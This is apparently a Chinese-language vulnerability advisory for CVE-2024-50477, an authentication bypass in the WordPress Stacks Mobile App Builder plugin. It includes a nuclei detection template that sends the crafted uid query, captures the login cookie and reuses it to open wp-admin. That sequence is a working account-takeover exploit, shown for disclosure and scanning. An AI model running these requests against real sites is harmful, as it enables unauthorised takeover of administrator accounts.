WordPress Stacks Mobile App Builder Authentication Bypass Vulnerability

漏洞信息

漏洞名称： WordPress Stacks Mobile App Builder Authentication Bypass Vulnerability

漏洞编号：

• CVE： CVE-2024-50477

漏洞类型： 权限绕过

漏洞等级： 严重

漏洞描述： WordPress的Stacks Mobile App Builder插件（版本≤5.2.3）存在一个严重的权限绕过漏洞，允许攻击者通过不当处理查询参数来冒充任意用户。这一漏洞的技术根源在于插件未能正确验证用户身份，导致攻击者可以通过构造特定的HTTP请求绕过身份验证机制。具体来说，攻击者可以通过向网站发送包含特定参数的GET请求（如/?mobile_co=1&uid=1）来获取有效的认证cookie，进而访问受保护的wp-admin区域，实现账户接管。这种漏洞的存在使得攻击者能够在无需任何认证的情况下，完全控制受影响的WordPress网站，执行任意操作，如发布或删除内容、安装恶意插件等。由于WordPress的广泛使用和Stacks Mobile App Builder插件的功能特性，这一漏洞对网站安全构成了严重威胁，尤其是那些依赖该插件构建移动应用的网站。攻击者可以利用此漏洞自动化攻击，且无需用户交互，极大地增加了攻击的便利性和危害范围。

产品厂商： WordPress

产品名称： Stacks Mobile App Builder

影响版本： version <= 5.2.3

来源： https://github.com/projectdiscovery/nuclei-templates/blob/5f57bf0d92a25f59de1dceeb4b167054f31427f3/http%2Fcves%2F2024%2FCVE-2024-50477.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: stacks-mobile-app-builder-auth-bypass

info:
  name: WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass via Account Takeover
  author: stealthcopter, vijay-sutar
  severity: critical
  description: |
    Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.
  reference:
    - https://github.com/stealthcopter/wordpress-hacking/blob/main/reports/stacks-mobile-app-builder-priv-esc/stacks-mobile-app-builder-priv-esc.md
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stacks-mobile-app-builder/stacks-mobile-app-builder-523-authentication-bypass-via-account-takeover
  classification:
    cve-id: CVE-2024-50477
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
  tags: wordpress,auth-bypass,account-takeover,wp-plugin,cve-2024-50477,critical

http:
  - method: GET
    path:
      - "{{BaseURL}}/?mobile_co=1&uid=1"

    redirects: true
    cookie-reuse: true
    max-redirects: 2

    extractors:
      - type: regex
        name: auth_cookie
        group: 0
        regex:
          - "wordpress_logged_in_[^=]+=[^;]+"

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/"
    headers:
      Cookie: "{{auth_cookie}}"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "Dashboard"
          - "Welcome to WordPress!"
        condition: or

      - type: word
        part: header
        words:
          - text/html